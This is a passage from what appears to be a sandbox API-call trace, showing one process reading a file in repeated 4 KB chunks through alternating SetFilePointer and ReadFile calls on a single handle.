lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.722] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xb000 [0094.722] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.723] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xc000 [0094.723] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.723] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xd000 [0094.723] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.723] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xe000 [0094.723] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.724] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xf000 [0094.724] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.724] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x10000 [0094.724] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.724] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x11000 [0094.724] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.725] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x12000 [0094.725] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.725] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x13000 [0094.725] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.725] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x14000 [0094.725] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.726] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x15000 [0094.726] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.726] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x16000 [0094.726] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.726] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x17000 [0094.726] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.727] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x18000 [0094.727] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.727] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x19000 [0094.727] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.732] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1a000 [0094.732] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.732] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1b000 [0094.733] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.733] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1c000 [0094.733] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.733] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1d000 [0094.733] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.733] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1e000 [0094.734] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.734] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1f000 [0094.734] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.734] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x20000 [0094.734] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.735] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x21000 [0094.735] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.735] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x22000 [0094.735] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.736] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x23000 [0094.736] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.736] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x24000 [0094.736] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.736] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x25000 [0094.736] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.737] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x26000 [0094.737] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.737] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x27000 [0094.737] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.737] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x28000 [0094.737] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.738] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x29000 [0094.738] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.738] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2a000 [0094.738] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.738] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2b000 [0094.738] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.739] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2c000 [0094.739] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.739] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2d000 [0094.739] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.739] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2e000 [0094.739] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.740] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2f000 [0094.740] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.740] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x30000 [0094.740] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.741] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x31000 [0094.741] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.741] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x32000 [0094.741] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.741] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x33000 [0094.742] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.742] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x34000 [0094.742] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.742] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x35000 [0094.742] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.742] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x36000 [0094.742] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.743] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x37000 [0094.743] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.743] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x38000 [0094.743] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.743] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x39000 [0094.744] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.744] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x3a000 [0094.744] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.744] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x3b000 [0094.744] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.744] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x3c000 [0094.744] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.744] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x3d000 [0094.744] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.744] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x3e000 [0094.745] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.745] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x3f000 [0094.745] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.745] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x40000 [0094.745] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.745] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x41000 [0094.745] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.745] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x42000 [0094.745] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.745] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x43000 [0094.746] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.746] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x44000 [0094.746] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.746] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x45000 [0094.746] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.746] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x46000 [0094.746] ReadFile (in: hFile=0x528, 